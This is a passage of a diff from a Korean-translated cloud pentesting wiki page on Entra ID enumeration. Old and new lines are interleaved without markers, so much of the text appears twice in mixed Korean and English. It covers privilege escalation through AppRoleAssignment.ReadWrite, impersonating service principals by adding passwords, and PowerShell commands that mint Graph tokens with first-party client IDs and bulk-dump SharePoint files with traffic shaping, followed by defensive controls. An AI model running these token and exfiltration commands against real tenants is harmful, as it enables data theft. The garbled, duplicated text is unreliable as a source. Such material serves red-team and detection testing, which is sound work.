trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,17 +934,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> 권한 **`AppRoleAssignment.ReadWrite`** 를 가진 앱은 스스로 역할을 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\
> 자세한 내용은 [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)을 확인하세요.
> 권한 **`AppRoleAssignment.ReadWrite`** 를 가진 앱은 스스로 해당 역할을 부여하여 **Global Admin** 으로 권한 상승할 수 있습니다.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열 application password입니다.\
> 따라서 이 **password**를 찾으면 해당 **tenant** **내부**에서 **service principal**로 접근할 수 있습니다.\
> password는 생성될 때볼 수 있다는 점(변경은 가능하지만 다시 가져올 수 없음)을 참고하세요.\
> **application**의 **owner**는 해당 애플리케이션에 **password**를 추가할 수 있습니다(이를 통해 애플리케이션을 가장할 수 있습니다).\
> 러한 service principal로의 로그인은 **위험(risky)**로 표시되지 않으며 **MFA**가 적용되지 않습니다.
> 애플리케이션이 토큰을 요청할 때 자신의 정체성을 증명하기 위해 사용하는 비밀 문자열 application password입니다.\
> 따라서 이 **password** 를 찾으면 **service principal** **inside** the **tenant** 로 접근할 수 있습니다.\
> 비밀번호는 생성될 때만 확인 가능하다는 점(변경은 가능하지만 다시 얻을 수 없음)에 유의하세요.\
> 해당 **application** 의 **owner** 는 여기에 **add a password** 할 수 있습니다(이를 통해 가장할 수 있).\
> service principals 로의 로그인은 **not marked as risky** 로 표시되지 않으며 **won't have MFA.**
Microsoft에 속한 일반적으로 사용되는 App IDs 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
@@ -927,7 +966,7 @@ az identity list --output table
### Azure 역할
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
Azure 역할에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -1012,9 +1051,9 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Entra ID 역할
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
Azure 역할에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -1135,8 +1174,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> 디바이스 (VM) **AzureAD joined** 상태라면, AzureAD의 사용자는 **로그인할 수 있습니다**.\
> 또한, 로그인한 사용자가 해당 디바이스의 **Owner**라면, 그는 **local admin** 권한을 갖게 됩니다.
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
### 관리 단위
@@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Microsoft Graph 위임형 SharePoint 데이터 유출 (SharePointDumper)
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
공격자는 **`Sites.Read.All`** 또는 **`Sites.ReadWrite.All`** 권한이 포함된 **위임된 Microsoft Graph 토큰**을 가지고 있으면 Graph를 통해 **sites/drives/items**를 열거한 다음, 액세스 토큰이 포함된 시간 제한 URL인 **SharePoint pre-authentication download URLs**를 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth downloads)을 자동화하고 탐지 테스트를 위해 요청별 텔레메트리를 출력합니다.
공격자는 **delegated Microsoft Graph token**에 **`Sites.Read.All`** 또는 **`Sites.ReadWrite.All`** 권한이 포함되어 있으면 Graph를 통해 **sites/drives/items**를 열거한 다음, **SharePoint pre-authentication download URLs**(액세스 토큰을 포함하는 시간 제한 URL)를 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고 탐지 테스트용으로 요청별 텔레메트리를 출력합니다.
### 사용 가능한 위임 토큰 획득
### Obtaining usable delegated tokens
- SharePointDumper 자체는 **인증을 수행하지 않습니다**; 액세스 토큰(선택적으로 refresh token)을 제공해야 합니다.
- 사전 동의된 **first-party clients**는 앱 등록 없이 Graph 토큰을 발급(mint)하는 데 악용될 수 있습니다. 예 `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출:
- 사전 동의된 **first-party clients**는 앱 등록하지 않고도 Graph 토큰을 발급하는 데 악용될 수 있습니다. 예: `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE clients는 디바이스 간 refresh를 지원합니다; FOCI FALSE clients는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다.
> FOCI TRUE 클라이언트는 장치 간 refresh를 지원합니다; FOCI FALSE 클라이언트는 reply URL 출처 검증을 만족시키기 위해 종종 `-Origin`이 필요합니다.
### enumeration + exfiltration을 위한 SharePointDumper 실행
### SharePointDumper를 사용한 enumeration + exfiltration 실행
- 기본 dump (custom UA / proxy / throttling 사용):
- custom UA / proxy / throttling 사용한 기본 dump:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1207,20 +1246,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **재개** 중단된 실행(다시 열거하지만 다운로드된 항목은 건너뜁니다):
- **재개** 중단된 실행 (재열거하 다운로드된 항목은 건너뜁니다):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **자동 token 갱신 (HTTP 401 시)** (EntraTokenAid가 로드되어 있어야 함):
- **HTTP 401에서의 자동 token 갱신** (EntraTokenAid가 로드되어 있어야 함):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Operational notes:
운영 노트:
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tools API log.
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
- 중간 실행 만료를 피하기 위해 **CAE-enabled** 토큰을 선호합니다; 갱신 시도는 도구의 API 로그에 **기록되지 않습니다**.
- **CSV/JSON request logs**를 **Graph + SharePoint**에 대해 생성하며, 포함된 SharePoint 다운로드 토큰은 기본적으로 마스킹됩니다(토글 가능).
- 탐지/IR 테스트 중 트래픽 조절을 위해 **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, **Ctrl+C-safe shutdown**을 지원합니다.
## Entra ID Privilege Escalation
@@ -1234,16 +1273,16 @@ Operational notes:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## 방어 메커니즘
### Privileged Identity Management (PIM)
Azure의 Privileged Identity Management(PIM)는 사용자에게 불필요하게 과도한 권한 할당되는 것을 **방지**하는 데 도움을 줍니다.
Azure의 Privileged Identity Management (PIM)는 사용자 불필요하게 과도한 권한 할당받지 않도록 돕습니다.
PIM이 제공하는 주요 기능 중 하나는 역할을 항상 활성화된 상태로 할당하지 않고, 대신 특정 기간 동안 **eligible(예: 6개월)** 상태로 만드입니다. 사용자가 역할을 활성화하려면 필요간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 **관리자 승인이 필요**합니다.\
사용자는 요청한 시간을 **연장**할 수 있습니다.
PIM 주요 기능 중 하나는 역할을 항상 활성 상태로 할당하지 않고 **일정 기간 동안 eligible로 설정(예: 6months)** 할 수 있게 해준다입니다. 사용자가 해당 역할을 활성화하려면 필요한 시간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 **관리자 승인**이 필요합니다.\
사용자는 한 시간 연장 요청을 할 수 있습니다.
또한, **PIM은 권한 있는 역할이 누구에게 할당될 때마다 이메일을 전송**합니다.
또한, **PIM은 권한 있는 역할이 할당될 때 이메일을 전송**합니다.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
@@ -1251,12 +1290,12 @@ PIM이 활성화되면 각 역할에 대해 다음과 같은 요구사항을 구
- 활성화 최대 지속 시간(시간)
- 활성화 시 MFA 요구
- Conditional Access 인증 컨텍스트 요구
- 활성화 시 정당성 요구
- 활성화 시 Conditional Access authentication context 요구
- 활성화 시 정당성(justification) 요구
- 활성화 시 티켓 정보 요구
- 활성화 승인 요구
- eligible 할당의 만료 최대 시간
- 해당 역할과 관련된 특정 동작이 발생할 때 누가 언제 알림을 받을지에 대한 다양한 추가 구성
- eligible 할당의 만료까지의 최대 시간
- 해당 역할과 관련된 특정 동작이 발생할 때 누구에게 알림을 보낼지 등 추가 구성
### Conditional Access Policies
@@ -1268,27 +1307,27 @@ Check:
### Entra Identity Protection
Entra Identity Protection은 사용자의 로그인 시도가 수용기에 **너무 위험한지 감지**하고, 위험한 경우 해당 사용자나 로그인 시도를 **차단**할 수 있도록 하는 보안 서비스입니다.
Entra Identity Protection은 사용자가 또는 sign-in 시도가 수용기에 너무 위험한지 **감지**하고, 해당 사용자나 sign-in 시도를 **차단**할 수 있게 해주는 보안 서비스입니다.
관리자는 위험 수준이 "Low and above", "Medium and above" 또는 "High"일 때 시도를 **차단**하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 **비활성화**되어 있습니다:
관리자는 위험도가 "Low and above", "Medium and above" 또는 "High"일 때 시도를 **차단**하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 **비활성화**되어 있습니다:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 요즘에는 가능한 경우 동일한 옵션을 구성할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다.
> 현재는 동일한 옵션을 설정할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 은 여러 번의 로그인 실패가 발생할 때 계정을 잠금으로써 **약한 비밀번호의 용을 방지**하는 보안 기능입니다.\
또한 관리자가 제공하는 **커스텀 비밀번호 목록을 차단**하도록 설정할 수 있습니다.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade))은 여러 번의 로그인 실패가 발생할 때 계정을 잠가 약한 암호의 용을 **방지하는** 보안 기능입니다.\
또한 관리자가 제공한 맞춤형 암호 목록을 **차단**할 수 있습니다.
기능은 클라우드 수준과 온프레미스 Active Directory 모두에 **적용**할 수 있습니다.
클라우드 수준과 온-프레미스 Active Directory 양쪽에 **적용**할 수 있습니다.
기본 모드는 **Audit**입니다:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## 참조
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)